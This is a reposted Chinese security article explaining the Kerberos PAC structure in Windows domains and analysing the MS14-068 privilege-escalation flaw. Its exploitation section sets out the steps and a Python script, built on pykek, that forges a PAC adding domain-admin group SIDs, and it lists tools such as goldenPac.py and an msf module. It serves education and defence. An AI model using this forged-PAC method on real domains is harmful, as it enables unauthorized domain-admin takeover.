Windows内网协议学习Kerberos篇之PAC
轉自:https://www.anquanke.com/post/id/192810
author: daiker@360RedTeam
0x00 前言
這是kerbreos篇的最后一篇文章了。這篇文章主要講的內容是微軟為了訪問控制而引進的一個擴展PAC,以及PAC在歷史上出現過的一個嚴重的,允許普通用戶提升到域管的漏洞MS14068。
?
0x01 PAC 介紹
網上很多版本的kerberos的流程是
上面這個流程看起來沒錯,卻忽略一個最重要的因素,那就是用戶有沒有權限訪問該服務,在上面的流程里面,只要用戶的hash正確,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以訪問服務,任何一個用戶都可以訪問任何服務。也就是說上面的流程解決了”Who am i?”的問題,并沒有解決 “What can I do?”的問題。
為了解決上面的這個問題,微軟引進了PAC,引進PAC之后的kerberos流程變成
特別說明的是,PAC對于用戶和服務全程都是不可見的。只有KDC能制作和查看PAC。
?
0x02 PAC結構
PAC的結構如下圖所示。
PAC整體的結構上是一個AuthorizationData的結構
AuthorizationData?????? ::= SEQUENCE OF SEQUENCE { ad-type???????? [0] Int32, ad-data???????? [1] OCTET STRING }AuthorizationData結構的ad-type主要有以下幾個
AD-IF-RELEVANT ????????????????????1 AD-INTENDED-FOR-SERVER???????????? 2 AD-INTENDED-FOR-APPLICATION-CLASS? 3 AD-KDC-ISSUED????????????????????? 4 AD-AND-OR????????????????????????? 5 AD-MANDATORY-TICKET-EXTENSIONS???? 6 AD-IN-TICKET-EXTENSIONS??????????? 7 AD-MANDATORY-FOR-KDC?????????????? 8 Reserved values???????????????? 9-63 OSF-DCE?????????????????????????? 64 SESAME??????????????????????????? 65 AD-OSF-DCE-PKI-CERTID???????????? 66 (hemsath @us.ibm.com) AD-WIN2K-PAC???????????????????? 128 (jbrezak @exchange.microsoft.com) AD-ETYPE-NEGOTIATION???????????? 129? (lzhu @windows.microsoft.com)如上圖所示,整個PAC最外層的ad-type為AD-IF-RELEVANT,ad-data還是一個AuthorizationData結構。
這個AuthorizationData的ad-type 為AD-WIN2K-PAC,ad-data為一段連續的空間,
這段空間包含一個頭部PACTYPE以及若干個PAC_INFO_BUFFER
頭部PACTYPE包括cBuffers,版本以及緩沖區,PAC_INFO_BUFFER為key-value型的
key 的類型如下表所示
| 類型 | 意義 |
| 0x00000001 | 登錄信息。PAC結構必須包含一個這種類型的緩沖區。其他登錄信息緩沖區必須被忽略。 |
| 0x00000002 | 憑證信息。PAC結構不應包含多個此類緩沖區。第二或后續憑證信息緩沖區在接收時必須被忽略。 |
| 0x00000006 | 服務器校驗和。PAC結構必須包含一個這種類型的緩沖區。其他登錄服務器校驗和緩沖區必須被忽略。 |
| 0x00000007 | KDC(特權服務器)校驗和(第2.8節)。PAC結構必須包含一個這種類型的緩沖區。附加的KDC校驗和緩沖區必須被忽略。 |
| 0x0000000A | 客戶名稱和票證信息。PAC結構必須包含一個這種類型的緩沖區。附加的客戶和票據信息緩沖區必須被忽略。 |
| 0x0000000B | 受約束的委派信息。PAC結構必須包含一個S4U2proxy請求的此類緩沖區,否則不包含。附加的受約束的委托信息緩沖區必須被忽略。 |
| 0x0000000C | 用戶主體名稱(UPN)和域名系統(DNS)信息。PAC結構不應包含多個這種類型的緩沖區。接收時必須忽略第二個或后續的UPN和DNS信息緩沖區。 |
| 0x0000000D | 客戶索取信息。PAC結構不應包含多個這種類型的緩沖區。附加的客戶要求信息緩沖區必須被忽略。 |
| 0x0000000E | 設備信息。PAC結構不應包含多個這種類型的緩沖區。附加的設備信息緩沖區必須被忽略。 |
| 0x0000000F | 設備聲明信息。PAC結構不應包含多個這種類型的緩沖區。附加的設備聲明信息緩沖區必須被忽略。 |
下面詳細介紹四個比較重要的
0x00000001 KERBVALIDATIONINFO
這個結構是登錄信息,也是整個PAC最重要的部分,整個PAC就靠它來驗證用戶身份了,是個結構體,如下
typedef struct _KERB_VALIDATION_INFO { FILETIME LogonTime; FILETIME LogoffTime; FILETIME KickOffTime; FILETIME PasswordLastSet; FILETIME PasswordCanChange; FILETIME PasswordMustChange; RPC_UNICODE_STRING EffectiveName; RPC_UNICODE_STRING FullName; RPC_UNICODE_STRING LogonScript; RPC_UNICODE_STRING ProfilePath; RPC_UNICODE_STRING HomeDirectory; RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount; USHORT BadPasswordCount; ULONG UserId; //用戶的sid ULONG PrimaryGroupId; ULONG GroupCount; [size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;//用戶所在的組,如果我們可以篡改的這個的話,添加一個500(域管組),那用戶就是域管了。在ms14068 PAC簽名被繞過,用戶可以自己制作PAC的情況底下,pykek就是靠向這個地方寫進域管組,成為使得改用戶變成域管 ULONG UserFlags; USER_SESSION_KEY UserSessionKey; RPC_UNICODE_STRING LogonServer; RPC_UNICODE_STRING LogonDomainName; PISID LogonDomainId; ULONG Reserved1[2]; ULONG UserAccountControl; ULONG SubAuthStatus; FILETIME LastSuccessfulILogon; FILETIME LastFailedILogon; ULONG FailedILogonCount; ULONG Reserved3; ULONG SidCount; [size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids; PISID ResourceGroupDomainSid; ULONG ResourceGroupCount; [size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds; } KERB_VALIDATION_INFO;0x0000000A PACCLIENTINFO
客戶端Id(8個字節):
- 包含在Kerberos初始TGT的authtime
NameLength(2字節)
- 用于指定Name 字段的長度(以字節為單位)。
Name
- 包含客戶帳戶名的16位Unicode字符數組,格式為低端字節序。
0x00000006和0x00000007
0x00000006 對應的是服務檢驗和,0x00000007 對應的是KDC校驗和。分別由server密碼和KDC密碼加密,是為了防止PAC內容被篡改。
存在簽名的原因有兩個。首先,存在帶有服務器密鑰的簽名,以防止客戶端生成自己的PAC并將其作為加密授權數據發送到KDC,以包含在票證中。其次,提供具有KDC密鑰的簽名,以防止不受信任的服務偽造帶有無效PAC的票證。
兩個都是PACSIGNATUREDATA結構,他包括以下結構。
| 類型 | 含義 | 簽名長度 |
| 0xFFFFFF76 | KERBCHECKSUMHMAC_MD5 | 16 |
| 0x0000000F | HMACSHA196_AES128 | 12 |
| 0x00000010 | HMACSHA196_AES256 | 12 |
包含校驗和。簽名的長度由SignatureType字段的值確定
當KDC為RODC時,包含密鑰版本號的前16位。當KDC不是RODC時,此字段不存在。
?
0x03 相關安全問題
1. MS14068
補丁編號是KB3011780,域里面最嚴重的漏洞之一,它允許任意用戶提升到域管權限。下面簡要分析下該漏洞。
該漏洞最本質的地方在于Microsoft Windows Kerberos KDC無法正確檢查Kerberos票證請求隨附的特權屬性證書(PAC)中的有效簽名,這里面的簽名就是上面提到的服務檢驗和以及KDC校驗和。導致用戶可以自己構造一張PAC。 簽名原本的設計是要用到HMAC系列的checksum算法,也就是必須要有key的參與,我們沒有krbtgt的hash以及服務的hash,就沒有辦法生成有效的簽名,但是問題就出在,實現的時候允許所有的checksum算法都可以,包括MD5。那我們只需要把PAC 進行md5,就生成新的校驗和。這也就意味著我們可以隨意更改PAC的內容,完了之后再用md5 給他生成一個服務檢驗和以及KDC校驗和。在MS14-068修補程序之后,Microsoft添加了一個附加的驗證步驟,以確保校驗和類型為KRBCHECKSUMHMAC_MD5。
在KERBVALIDATIONINFO結構里面,我們看到有這兩個字段。
其中GroupId是用戶所在所在的組,那只要我們把重要組(比如域管組)的sid加進GroupId。那么服務拿這用戶的TGS去詢問域管用戶是否有訪問訪問改服務的權限的時候,域控會解密PAC,提取里面用戶的sid,以及所在的組(GroupId),我們已經把域管加進去了,是的域控把把這個用戶當做域管組里面的成員。從而達到提升為域管的效果。pykek加入的是以下組,
- 域用戶(513)
- 域管理員(512)
- 架構管理員(518)
- 企業管理員(519)
- 組策略創建者所有者(520)
現在我們已經能夠偽造pac,將我們放在域管的組里,然后偽造檢驗和。但是即使用戶可以偽造PAC。該漏洞的利用依舊還有一個棘手的問題。 前面我們說過。PAC是包含在TGT里面的,而TGT是krbtgt的用戶hash加密的,也就意味著即使我們可以偽造PAC,那我們有什么辦法講PAC放在票據里面傳輸給KDC呢。漏洞的作者用了一個很巧妙的方式。通過查看pykek的源碼發現, 作者將PAC加密成密文放在enc-authorization-data里面,enc-authorization-data的結構如下
AuthorizationData::= SEQUENCE OF SEQUENCE { ad-type[0] Int32, ad-data[1] OCTET STRING }ad-type是加密算法 ad-data是pac加密后的內容 加密用的key是客戶端生成的。KDC并不知道這個key。KDC會從PA-DATA里面的APREQ獲取到這個key。從而對ad-data進行解密,然后拿到PAC,再檢查校驗和。 可能很多人抓包,在APREQ里面并沒有找到這個key。在上一篇文章里面對于AP_REQ介紹得不多。
只是說了TGT票據就放在這個結構體里面。這里補充介紹下。 APREQ的type是PADATATYPE.AP_REQ(INTEGER 1)
value是如下結構體
AP-REQ? ::= [APPLICATION 14] SEQUENCE { pvno??????????? [0] INTEGER (5), msg-type??????? [1] INTEGER (14), ap-options????? [2] APOptions, ticket???????? ?[3] Ticket, authenticator?? [4] EncryptedData -- Authenticator }之前說的TGT票據放在這個結構體里面,就是放在ticket里面。 authenticator 的內容包括加密類型和用session_key加密Authenticator加密成的密文。 Authenticator的結構如下
Authenticator ::= [APPLICATION 2] SEQUENCE? { authenticator-vno?? ????[0] INTEGER (5), crealm????????????????? [1] Realm, cname?????????????????? [2] PrincipalName, cksum?????????????????? [3] Checksum OPTIONAL, cusec?????????????????? [4] Microseconds, ctime?????????????????? [5] KerberosTime, subkey????????????????? [6] EncryptionKey OPTIONAL, seq-number????????????? [7] UInt32 OPTIONAL, authorization-data????? [8] AuthorizationData OPTIONAL }其中加密PAC的密鑰就放在subkey里面。 大體流程就是KDC拿到APREQ之后,提取里面authenticator的密文,用sessionkey解密獲得subkey,再使用subkey解密enc-authorization-data獲得PAC.而PAC是我們自己偽造的.
所以最后梳理一下MS14068漏洞利用思路。
1.發起一個 PAPACREQUEST里面選擇include_pac 為false。此時生成的TGT票據是不含有PAC的
2.偽造一個PAC。sid為當前用戶的sid。將如下組的 sid加進GroupId
- 域用戶(513)
- 域管理員(512)
- 架構管理員(518)
- 企業管理員(519)
- 組策略創建者所有者(520)
后續kerberos測試工具會加入制作PAC的功能,現在暫時不支持,我們直接利用pykek的代碼來生成下,跟ms14068.py的同一文件夾底下,新建makepac.py,代碼如下
from kek.pac import build_pac from kek.util import? gt2epoch from kek.krb5 import AD_WIN2K_PAC,AuthorizationData,AD_IF_RELEVANT from pyasn1.codec.der.encoder import encode if __name__ == '__main__': user_realm = "0day.org" #改成自己的 user_name = "jack" #改成自己的 user_sid = "S-1-5-21-1812960810-2335050734-3517558805-1133" #改成自己的 # logon_time = gt2epoch(str(as_rep_enc['authtime'])) logon_time = gt2epoch('20191112101422Z') print(logon_time) authorization_data = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time)) ad1 = AuthorizationData() ad1[0] = None ad1[0]['ad-type'] = authorization_data[0] ad1[0]['ad-data'] = authorization_data[1] ad = AuthorizationData() ad[0] = None ad[0]['ad-type'] = AD_IF_RELEVANT ad[0]['ad-data'] = encode(ad1) data =? encode(ad) with open("jack.pac","wb") as f: f.write(data)注意這里的logontime來自于第一步中生成的ASREP的enc_part解密后的的authtime,在工具里面右鍵復制就行
3.發起一次服務用戶是krbtgt的TGSREQ,此時導入的TGT里面是不含有PAC的(在第一步里面選擇include=False返回的TGT不含有pac),然后將我們偽造的PAC是加密放在 enc-authorization-data里面。加密用的key的放在PA-DATA里面的APREQ。此時返回的TGS里面就含有我們偽造的PAC。在之前的文章里面我們說過,在TGS里面,如果請求的服務是krbtgt的話,那么返回的TGS票據是可以當做TGT的。在我們的kerbreos測試工具里面,只需要導入上面makepac.py生成的pac文件。
4.Pass the ticket
這里面使用kerberos 測試工具只是為了理清楚漏洞流程。更為方便的利用請見底下。
?
0x04 部分相關的工具
kekeo
impacket
- goldenPac.py
這個工具是結合ms14-068加psexec
msf
- ms14068kerberos_checksum
msf的這個模塊也支持14068攻擊利用
pykek
全稱是Python Kerberos Exploitation Kit
應該是ms14068漏洞利用,使用的最廣泛的一個,一般常用的ms14068.exe,就是由他打包而成的
先獲取sid
拼接成S-1-5-21-866784659-4049716574-3063611777-1104
生成tgt
驗證tgt是否具備域管權限
本文由360靈騰安全實驗室原創發布
轉載,請參考轉載聲明,注明出處:?https://www.anquanke.com/post/id/192810
安全客 - 有思想的安全新媒體
?
?
總結
以上是生活随笔為你收集整理的Windows内网协议学习Kerberos篇之PAC的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 程序员吐槽:四年被三家公司裁员补偿,网友
- 下一篇: 向日葵linux远程很卡,血泪经验分享!